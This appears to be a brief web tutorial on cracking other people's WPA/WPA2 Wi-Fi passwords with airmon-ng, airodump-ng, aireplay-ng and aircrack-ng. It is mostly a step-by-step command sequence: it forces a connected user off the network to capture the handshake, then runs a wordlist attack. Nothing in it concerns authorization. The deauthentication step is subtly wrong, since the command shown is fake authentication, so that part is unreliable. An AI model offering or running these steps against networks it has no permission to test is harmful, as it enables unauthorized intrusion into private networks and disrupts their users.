How To Hack Wifi Passwords :-
How it is Cracked:
WPA-WPA2 are a special case when it comes to Wireless Network Cracking. The method used to crack them is named ‘Handshake’. What should we do to get the Handshake is fooling a Computer connected to the network we will crack. Then we will use a dictionary to crack the Handshake and get the Key. So, this means that to crack these networks we need:
- A huge dictionary / wordlist – The bigger, the Better. (You can find searching the web using terms like: ‘Large WPA-WPA2 Cracking Wordlist’)
- A PC with backtrack or kali linux installed. So, let’s go and crack that network:
Enter your wireless interface into monitor mode:
- airmon-ng start wlan0
Get the list of the networks available:
- airodump-ng mon0
Get info on a specific Network:
- airodump-ng -c channel -w filename –bssid macaddrs mon0
(‘channel’ is the Network’s channel number) (‘filename’ is the name of the file that airodump-ng will save its data) (‘macaddrs’ is the Network’s MAC Address)
Note that under the STATION Tab there is a MAC address. This means that there is someone connected to that network and this is his PC’s MAC address. To get the handshake we will kick him off and he will automatically reconnect to the network.
So, to kick him of and get the handshake, type at a new terminal:
- aireplay-ng -1 0 -a bssid mon0
(where ‘bssid’ you must type the Network‘s MAC Address)
When we successfully get the handshake, stop the proccess by hitting CTRL+C at the terminal that Airodump-ng is running. The handshake should be placed at your Home Folder.
To crack it type:
- aircrack-ng -w dictionary /username/filename
(‘dictionary’ is the name/path of your dictionary) (‘username’ is your username – on Backtrack is ‘root’ by default) (‘filename’ is the captured WPA/WPA2 Handshake)
Enjoy..!!
